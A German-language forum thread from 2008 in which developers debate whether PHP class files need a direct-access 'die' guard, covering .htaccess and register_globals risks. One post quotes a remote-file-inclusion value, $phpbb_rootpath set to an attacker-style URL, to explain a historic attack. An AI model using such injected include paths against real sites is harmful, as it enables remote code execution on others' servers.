Entwickler-Ecke

Programmiersprachen (Server) - Klassendateien schützen notwendig?


Heiko - Sa 29.11.08 12:38
Titel: Klassendateien schützen notwendig?
Hallo,

inzwischen sind ja viele PHP-Seiten OOP basiert. Man findet in deren PHP-Dateien also nur noch Klassen und keine blanken Variablen/Funtkionen. Doch findet man bei vielen Seiten weiterhin ein "die" am Anfangder Datei, falls die Seite direkt aufgerufen wurde. Ist das bei Klassen wirklich noch notwendig?

Beispiel:

C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
<?php
  if (!defined('MY_ROOT')) die('You can not access this file directly!'); //ist das hier noch notwendig?

  class Test{
    ...
  }
?>


Grüße
Heiko


Regan - Fr 05.12.08 11:25

Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Übrigens würde ich dir zu einer anderen Variante raten: Erstell dir eine htacces-Datei. Dort stellst du dann einfach ein, dass alles, was im Ordner "hierdeinklassenordner" ist, auf eine Acces-Denied-Seite umleitet. Dann kann der Nutzer nicht mal den Dateinamen "erraten".


Kha - Fr 05.12.08 13:33

user profile iconRegan hat folgendes geschrieben Zum zitierten Posting springen:
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| .

user profile iconHeiko hat folgendes geschrieben Zum zitierten Posting springen:
Ist das bei Klassen wirklich noch notwendig?
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) .


Heiko - Fr 05.12.08 18:58

@Regan: Ahja, haste dir schon einmal die einfachen Pakete von HostEurope & Co angeguckt? Die Unterstützten manchmal keine .htaccess-Dateien. Von daher ist es wenn nur eione bedingter Sicherheitsgewinn.



user profile iconKha hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconRegan hat folgendes geschrieben Zum zitierten Posting springen:
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| .

Japp, schafft man aber z.B. dadurch, dass man den Server überlastet. Dann machen es einige ;). Allerdings würde es mich weniger stören. Mir gehts eher darum, dass keiner an die Daten der DB kommt. Wenn der Source OpenSource ist, ist es ja egal, wenn er die Dateien blanko ausliefert - schließlich kann man sich die eh so runterladen ;).

user profile iconKha hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconHeiko hat folgendes geschrieben Zum zitierten Posting springen:
Ist das bei Klassen wirklich noch notwendig?
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) .

An der Stelle hast du natürlich Recht. Aber: wer auf eine php-Datei stößt, die eigentlich nicht direkt aufrufbar ist, hat meistens eher böse Absichten im Sinne - von daher ist es da ggf. Geschmackssache, ob man sich den Traffic gönnt oder nicht ;)


BenBE - Mo 08.12.08 15:53

Diese Die-Anweisungen sind i.d.R. dafür gedacht, das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. Bei Klassen ist es nicht direkt mehr nötig, sollte aber der Konsistenz halber für jegliche Seiten, die vom User nicht aufgerufen werden dürfen, durchgeführt werden.


Heiko - Mo 08.12.08 18:30

user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt.

Wie ruft man Funktionen auf? Dass man mit register_globals Variablen setzten kann, ist mir bewusst - aber wie ruft man Funktionen darüber auf?


BenBE - Mo 08.12.08 23:08

Direkt Funktionsaufrufe erzwingen kann man nicht, man kann aber durch Register Globals sehr gut so tun, als ob dieses Modul legitim eingebunden wurde mit diesen (für den Angreifer günstigen) Werten und erhält damit eine nette Möglichkeit eigenen Code unterzujubeln. hat man gern mit $phpbb_rootpath='http://host.ev.il/?'; gemacht.


Heiko - Di 09.12.08 01:12

Wenn in der Datei nur Funktionen definiert sind - dann dürfte doch nix passieren. php registriert dass da Funktionen drin sind, aber nix was er ausführen kann. Von daher sehe ich an der Stelle das Problem nicht. Na klar, sobald irgendeine Zeile Code direkt ausgeführt wird, wäre es unpraktisch - also da muss man logischerweise die Zeile einfügen.


BenBE - Di 09.12.08 13:30

Korrekt, aber einen Grund, warum man es trotzdem tun sollte, hatte user profile iconKha ja bereits erwähnt.


Heiko - Mi 10.12.08 00:12

Ok danke für die Antworten.